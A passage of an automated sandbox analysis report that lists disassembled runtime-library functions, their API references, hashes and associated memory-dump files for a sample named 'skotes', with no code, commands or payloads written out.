Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: d+%
API String ID: 1432671424-2381026240
Opcode ID: 217fb8fadb2101acf2e2625c30b3eacf65300105a07c3aaa219d368828a1e252
Instruction ID: 3970aa3bcf6243833331c31bf86f4911e9a3ec37ae3b20e6476831899cde078a
Opcode Fuzzy Hash: 217fb8fadb2101acf2e2625c30b3eacf65300105a07c3aaa219d368828a1e252
Instruction Fuzzy Hash: AC31C9B2A243059FD720DFA4D845A5BB7ECEF14310F10062EE945C3682E771FA6487A1

Function 0020A550 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0020A5C1
__Mtx_unlock.LIBCPMT ref: 0020A60B

Strings

j718, xrefs: 0020A587

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: j718
API String ID: 1418687624-3131343938
Opcode ID: 203b72cd33ee7fc7206e971e7f1deec0441133880d754cba31a53fa2c7f25f79
Instruction ID: bbb23baae57a60743e4594a98f2925f5988da8f420594e0ebf3300b8615b6482
Opcode Fuzzy Hash: 203b72cd33ee7fc7206e971e7f1deec0441133880d754cba31a53fa2c7f25f79
Instruction Fuzzy Hash: 9831FBB1910309EBDB14EF94CD05B5AF7BCFF45320F108269E915976C2DB71A920CA92

Function 00209A80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00209B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00209B60

Strings

j718, xrefs: 00209A94

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskMtx_unlock
String ID: j718
API String ID: 1170726187-3131343938
Opcode ID: 65d74be476cee8eacf56efa821ee4b75544c8672f91247128c74db50aef85559
Instruction ID: 0ba5b43d15875e7007e40d0dc95a2bc03cd2de87fa9d3393c746ea8bfb2d1637
Opcode Fuzzy Hash: 65d74be476cee8eacf56efa821ee4b75544c8672f91247128c74db50aef85559
Instruction Fuzzy Hash: 5E31D1B0D143499BDB20DFA4D845BAFBBF8EF15714F200159E406A32C3D775A954CBA1

Function 001F3380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

__Cnd_broadcast.LIBCPMT ref: 001F33CB
__Mtx_unlock.LIBCPMT ref: 001F33DF

Strings

j718, xrefs: 001F3393

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_broadcastMtx_unlock
String ID: j718
API String ID: 3773178532-3131343938
Opcode ID: 2f5bcb3d6ceebc7ec2e59cbe21cd4852be559e17267f52297ab06ef815907132
Instruction ID: 102a6a79af6713017485016e8465dda7a420f05c98a2960623176cf3b133c5f4
Opcode Fuzzy Hash: 2f5bcb3d6ceebc7ec2e59cbe21cd4852be559e17267f52297ab06ef815907132
Instruction Fuzzy Hash: 011136B2A04704EBD7219B59DC05BAAB3ECEF55730F10422AE915D3682D735ED058BE0

Function 0020B5D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0020B65E

Strings

csm, xrefs: 0020B612
j718, xrefs: 0020B5DC

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16
String ID: csm$j718
API String ID: 1700504859-2547761928
Opcode ID: 995b58e8ef1c99f6ad2fd9357902a110161f9c9b8a2cb6e213c20e11ecbe6e2a
Instruction ID: 2c657f089c64639366fc1064e664ed00c505d3419ccda0e9b6f3a309baae349c
Opcode Fuzzy Hash: 995b58e8ef1c99f6ad2fd9357902a110161f9c9b8a2cb6e213c20e11ecbe6e2a
Instruction Fuzzy Hash: C2218931D21319ABCF3ADFD5D845AAEB7BCAF04710F544409E805AB292CB31AD65CF81

Function 00221704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00221764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002217AF

Strings

pContext, xrefs: 002217A7

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
